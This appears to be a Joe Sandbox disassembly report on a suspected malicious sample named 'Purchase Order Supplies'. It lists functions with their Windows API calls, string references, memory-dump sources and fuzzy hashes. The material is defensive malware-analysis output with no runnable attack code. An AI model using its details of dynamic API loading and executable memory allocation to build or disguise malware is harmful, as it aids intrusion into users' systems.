Opcode Fuzzy Hash: f849939e60c0584b04f4d8bdeb5946cac2a0c5fe925af65e1c9eb1a9bf045a7f
Instruction Fuzzy Hash: 4A412A72900218BFDB14DFA4CC85FDEBBB8AF49700F108099EA56B7291DB706E45DB61

Function 00CFA44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00D2DBF0,00000000,?,?,?,?), ref: 00CFA4E6
GetWindowLongW.USER32 ref: 00CFA503
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00CFA513

Strings

SysTreeView32, xrefs: 00CFA4B8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 1c6186cbd9073652548ce66eafa384dead6b71d3f37a0d17acb72bec46bee040
Instruction ID: 0b3b03615f0916ed20c82c2adb0aff11841df862a1db8f13d50741ed6ff2c0e0
Opcode Fuzzy Hash: 1c6186cbd9073652548ce66eafa384dead6b71d3f37a0d17acb72bec46bee040
Instruction Fuzzy Hash: 9C31C071100609AFDB618E38CC45BE6BB69EF49338F248714F979932E0C730E9519B61

Function 00CFA698 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00CFA74F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00CFA75D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00CFA764

Strings

msctls_updown32, xrefs: 00CFA6C9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 77d4122efff41ce7b5fc121bcbfd9b2cb42b4ecff7ed15f5f0f184c929c07237
Instruction ID: 822e661072d8e8e53c5e230b7a602c5ff27e4adb9eb8934a7996f21dc70e8839
Opcode Fuzzy Hash: 77d4122efff41ce7b5fc121bcbfd9b2cb42b4ecff7ed15f5f0f184c929c07237
Instruction Fuzzy Hash: E9212AB9600209BFDB10EF64CCC1EB77BADEB4A394B040459FA159B361CB70ED119A62

Function 00CF97B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00CF983D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00CF984D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00CF9872

Strings

Listbox, xrefs: 00CF980A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: eea81c20dc26e7b4684d296b0f5d25c790353fbdf00b886d4fdb3caba7a4435c
Instruction ID: abf4db2684d318b242c2f2b8f97b057289bd27eba597c8f400141bbc50895986
Opcode Fuzzy Hash: eea81c20dc26e7b4684d296b0f5d25c790353fbdf00b886d4fdb3caba7a4435c
Instruction Fuzzy Hash: 4E21073161021CBFDF119F54CC85FFB3BAAEF8A794F018125FA149B190CA719C1187A1

Function 00CFA217 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00CFA27B
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00CFA290
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00CFA29D

Strings

msctls_trackbar32, xrefs: 00CFA252

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: b18022ccaeb3d3f8dd5fa4426cc670e3b23abde08e0f27321118e7351650cbac
Instruction ID: 9dd184255ab9f2936f7216775ff5614b2abcd72a80660370ddb8995f2f829855
Opcode Fuzzy Hash: b18022ccaeb3d3f8dd5fa4426cc670e3b23abde08e0f27321118e7351650cbac
Instruction Fuzzy Hash: 791123B120030CBFEB205F61CC46FA77BA8EF89B54F014118FB59A6190C672A851DB21

Function 00CB2F5F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize), ref: 00CB2F79
GetProcAddress.KERNEL32(00000000), ref: 00CB2F80

Strings

combase.dll, xrefs: 00CB2F74
RoInitialize, xrefs: 00CB2F68

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: 78aa8ea8473a0a2fc2bb942a583d8c7a1f0a4a9f1d85bedde5074c610107b90d
Instruction ID: 6f4f18e62b26cae81a54c456b7af335d9ad8b45cdfe517911079c8c92ed0a175
Opcode Fuzzy Hash: 78aa8ea8473a0a2fc2bb942a583d8c7a1f0a4a9f1d85bedde5074c610107b90d
Instruction Fuzzy Hash: 7DE01A746D4B20BFEB105F74EC49FD53A6AAB11787F104024B912D52A0CFB54084DF39

Function 00CB3034 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00CB2F4E), ref: 00CB304E
GetProcAddress.KERNEL32(00000000), ref: 00CB3055

Strings

combase.dll, xrefs: 00CB3049
RoUninitialize, xrefs: 00CB303D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 4e45e1836faea181a4198445fe780cbaae98754d6b23174da058bae2b4a13ac0
Instruction ID: f8ea56de33f546d3689d7e8df46cc8f919ce164b798d952286033a4512e4c5e8
Opcode Fuzzy Hash: 4e45e1836faea181a4198445fe780cbaae98754d6b23174da058bae2b4a13ac0
Instruction Fuzzy Hash: B7E09274688710BFEB209F61BD0DB853A65BB10702F100014F919D12B8DFB845448A36

Function 00D0BA51 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00D0BA58
__swprintf.LIBCMT ref: 00D0BA8C

Strings

%.3d, xrefs: 00D0BA66
WIN_XPe, xrefs: 00D0BACB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 20445c1577d5dd664a5b3c60d726ae595d072db2fcd7b3ea97634e915fdf9f1e
Instruction ID: 3b9f989dcafe059ea5e594acda7383fccd93747a4923120886c1493fa9c308f6
Opcode Fuzzy Hash: 20445c1577d5dd664a5b3c60d726ae595d072db2fcd7b3ea97634e915fdf9f1e
Instruction Fuzzy Hash: 81E0EC7190C11CFACA5486918C46AFA72BCAB08310F108493B99A92085D775DB58AB31

Function 00CAE6E3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CAE6D9,?,00CAE55B,00D2DC28,?,?), ref: 00CAE6F1
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00CAE703

Strings

kernel32.dll, xrefs: 00CAE6EC
IsWow64Process, xrefs: 00CAE6FD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 63b2a8d7276d355af1b6671056611826596ab24deec07911f137a43e50d8b3d7
Instruction ID: 5afc0811862e8b4526d441b6001be7cd5196166c5eef5dba4b730ff39033db72
Opcode Fuzzy Hash: 63b2a8d7276d355af1b6671056611826596ab24deec07911f137a43e50d8b3d7
Instruction Fuzzy Hash: 90D0C974540723AFD7246F66E84C6977BE8BF05719B10942AF4A5D2251DBB0C8C58AB0

Function 00CAE6A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CAE69C,75730AE0,00CAE5AC,00D2DC28,?,?), ref: 00CAE6B4
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00CAE6C6

Strings

kernel32.dll, xrefs: 00CAE6AF
GetNativeSystemInfo, xrefs: 00CAE6C0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: ae9257134092a5a7c992edaf43591f2d486b33704ea1f64a0eec942b4fe7bdfd
Instruction ID: b593971325e47cb76a89fea8bcb073af81725ebf06ade3cd3ba3cf58c853a0f3
Opcode Fuzzy Hash: ae9257134092a5a7c992edaf43591f2d486b33704ea1f64a0eec942b4fe7bdfd
Instruction Fuzzy Hash: E8D0A774440313AFD7205F31E80865237D4AFA8309B009829F455D1260DB70C4C18670

Function 00CEEBB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CEEBAF,?,00CEEAAC), ref: 00CEEBC7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00CEEBD9

Strings

kernel32.dll, xrefs: 00CEEBC2
GetSystemWow64DirectoryW, xrefs: 00CEEBD3

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 5d418b4af12172287859dc8897134aa3d9fb430ca86846906ff2f17123e4d0f3
Instruction ID: 7d44467a59d0903ce449dac72b8e1d0e3c6b3adc414b0f3843dee50bffda105b
Opcode Fuzzy Hash: 5d418b4af12172287859dc8897134aa3d9fb430ca86846906ff2f17123e4d0f3
Instruction Fuzzy Hash: C9D0A974404322AFD7205F32E848B8237E8AF04304B20C42AF8AAD2360DFB0D8C08A30

Function 00CD13A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00CD1371,?,00CD1519), ref: 00CD13B4
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00CD13C6

Strings

UnRegisterTypeLibForUser, xrefs: 00CD13C0
oleaut32.dll, xrefs: 00CD13AF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: 83b27086c417ab85dadfc85100bb97785a4d861a8f04f094ad34bd2cc8bcba1c
Instruction ID: aab9c287768ad0786be0e0e79f074a2275e748f5881b2dd07bc1b9ff2c8c63d6
Opcode Fuzzy Hash: 83b27086c417ab85dadfc85100bb97785a4d861a8f04f094ad34bd2cc8bcba1c
Instruction Fuzzy Hash: 4FD0A930880322BFD7244F29E80868237EAAF40305F04842AEAA5D2770DFB0C8C88B30

Function 00CD137B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,00CD135F,?,00CD1440), ref: 00CD1389
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00CD139B

Strings

RegisterTypeLibForUser, xrefs: 00CD1395
oleaut32.dll, xrefs: 00CD1384

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: b7745f67e3a9893f1305a81c3d1bc6c6985a4334ce366e07206fd4d4b665cd2c
Instruction ID: d80c6ea35c96b5fd59c12db31727442c961dbf5996114b3760e140149dd8c383
Opcode Fuzzy Hash: b7745f67e3a9893f1305a81c3d1bc6c6985a4334ce366e07206fd4d4b665cd2c
Instruction Fuzzy Hash: 2AD0A930800322BFDB300F28E84878237E8AF04309F08882AE9A5D2760DBB0C9C48B30

Function 00CF3ACC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00CF3AC2,?,00CF3CF7), ref: 00CF3ADA
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00CF3AEC

Strings

advapi32.dll, xrefs: 00CF3AD5
RegDeleteKeyExW, xrefs: 00CF3AE6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 7934a81bd64c00535d9ceaf8c20b9bb24d6cb6182d56180b96eb50fe57d8e26a
Instruction ID: 5ba531596e7fd1f0dd5a90d228465d1765ef5dddc12ed2eac21fb18d7d8073ca
Opcode Fuzzy Hash: 7934a81bd64c00535d9ceaf8c20b9bb24d6cb6182d56180b96eb50fe57d8e26a
Instruction Fuzzy Hash: 74D05230440323BFD7208FB2AC0A69236E8AB11304B008429E9A5D2250EFB0C9C18A70

Function 00C9AA70 Relevance: 6.3, APIs: 4, Instructions: 300COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,00000001,00000000,00000000,?,?,00000000,?,?,00CE6AA6), ref: 00C9AB2D
_wcscmp.LIBCMT ref: 00C9AB49

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharUpper_wcscmp
String ID:
API String ID: 820872866-0
Opcode ID: 9f238beb3316a29894c34732b9fe273c23fba24473694eb8c674034ae29dded2
Instruction ID: 250878172da4d4e8bf87ebd094b9d43e9d83c4208ae6ac3784ac5e7b2fe4f94e
Opcode Fuzzy Hash: 9f238beb3316a29894c34732b9fe273c23fba24473694eb8c674034ae29dded2
Instruction Fuzzy Hash: F6A1207070020A9BCF14DF65E9886BDBBA1FF48300F64416AEC56C7290EB309971EB96

Function 00CF0D01 Relevance: 6.3, APIs: 4, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00CF0D85
CharLowerBuffW.USER32(?,?), ref: 00CF0DC8

Part of subcall function 00CF0458: CharLowerBuffW.USER32(?,?,?,?), ref: 00CF0478

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00CF0FB2
_memmove.LIBCMT ref: 00CF0FC2

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 02bdcd27a4d767be4ce9be4cd1b1024ed5a13f04f0167a49e53aba5c89d76366
Instruction ID: ca2d2c0befbabd74a12474698e24c0e0873460d45f74ecc9f19791fa2e9e41c2
Opcode Fuzzy Hash: 02bdcd27a4d767be4ce9be4cd1b1024ed5a13f04f0167a49e53aba5c89d76366
Instruction Fuzzy Hash: 7BB1AF716043058FCB54DF28C88096AB7E4EF89714F24886DF999DB352DB31EE46DB82

Function 00CEAF26 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CEAF56
CoUninitialize.COMBASE ref: 00CEAF61

Part of subcall function 00CD1050: CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 00CD10B8

VariantInit.OLEAUT32(?), ref: 00CEAF6C
VariantClear.OLEAUT32(?), ref: 00CEB23F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 50a8657b25bd26d5553525b0726e6f3fff30194279b8862cb54fe4954b76bb21
Instruction ID: a67dde543693ec69231f5f05607620078264efa92ab46f5d6db33a8e9dd92b99
Opcode Fuzzy Hash: 50a8657b25bd26d5553525b0726e6f3fff30194279b8862cb54fe4954b76bb21
Instruction Fuzzy Hash: 82A15B756047429FCB10DF15C895B2AB7E4BF89320F048459FA99AB3A1DB34FD44DB82

Function 00C9C320 Relevance: 6.3, APIs: 4, Instructions: 259fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9C419
ReadFile.KERNEL32(?,?,00010000,?,00000000,?,?,00000000,?,00CD6653,?,?,00000000), ref: 00C9C495

